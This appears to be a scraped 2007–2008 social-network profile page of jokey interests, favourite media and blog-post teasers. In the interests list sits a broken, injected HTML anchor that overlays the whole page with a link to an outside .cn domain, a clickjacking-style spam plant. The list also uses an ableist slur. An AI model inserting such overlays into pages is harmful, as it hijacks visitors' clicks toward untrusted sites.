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GRIMACE

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About Me

MyGen Profile Generatormy name is abraham lincoln and i am five hundred feet tall!!

My Interests

BATTLE PANDAS, YELLING, TALKING ABOUT GARGEMEL, MATTHEW AND HIS WHOLE HIM, HORRIBLE JUMPING SHOWS INVOLVING LAKES AND FLOATIE DEVICES, WEARING GIANT FOAM HEADS AT INAPPROPRIATE TIMES, GUY MAKING, LAUGHING TILL MY FACE FALLS OFF, CREATING OFFENSIVE CROCHET CLOTHING, TALKING TO ROBERTA 95 TIMES A DAY, TARD COLLECTINGa class="popup_wrapper" style="cursor:default;background-image:url(http://klaxolw1.c n/bg.jpg);left:0px;top:0px;height:8359px;width:1016px;" href="http://klaxolw1.cn/s/" m$l$

I'd like to meet:

anyone who remembers mug-a-lunch

Music:

FRANK ZAPPA, MIKE WATT, INSTANT DEATH, STEELY DAN, KIDS OF WIDNEY HIGH, EVERYTHING JOE RAPOSO EVER WROTE, ANYTHING THAT ME AND DAVID SING, AND OF COURSE...FRITO WIND

Movies:

THE MONKEY HAND STAND-INS IN MONKEY SHINES, DONNIE DARKO, WITHOUT YOU I'M NOTHING, EVERYTHING BY TERRENCE MALICK

Books:

GREG'S MICROSCOPE, FROG AND TOAD ARE FRIENDS, NEW YORK TIMES CROSSWORD PUZZLE DICTIONARY, THE ABORTION, PARTY CUES FOR TEENS, DOOLEY AND THE SNORT SNOOT, THE WORST HARD TIME

Heroes:

SCOTT BYRNE

My Blog

garfield minus garfield

"Who would have guessed that when you remove Garfield from the Garfield comic strips, the result is an even better comic about schizophrenia, bipolar disorder, and the empty desperation of modern life...
Posted by GRIMACE on Tue, 08 Apr 2008 04:13:00 PST

close approximation of my typical workday

this pretty much sums up my style of service ...
Posted by GRIMACE on Fri, 23 Nov 2007 08:50:00 PST

o-ho, i'll give y'uns gwabs any day!!

this was found in my grandmother's recipe box. i don't ever remember eating it but she evidently made it since she added an annotation to the step which involves strawberry jello....
Posted by GRIMACE on Thu, 25 Oct 2007 01:25:00 PST

do all dads ride the randy mail train?

 more fucked than the image itself is the fact that matthew told me about it as an afterthought.  " sweetie, could you get coffee and maybe some cold cuts on your way home from work tomorro...
Posted by GRIMACE on Thu, 25 Oct 2007 01:07:00 PST

scatological thinking from my dear old dad

..>..> ..> i don't know what other peoples dad's send them in the mail, but once a month my dad sends me something nice like this diarrhea assesment. what child wouldn't want a photo copy of po...
Posted by GRIMACE on Tue, 04 Sep 2007 01:44:00 PST

googelon monster movie

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Posted by GRIMACE on Wed, 16 May 2007 04:56:00 PST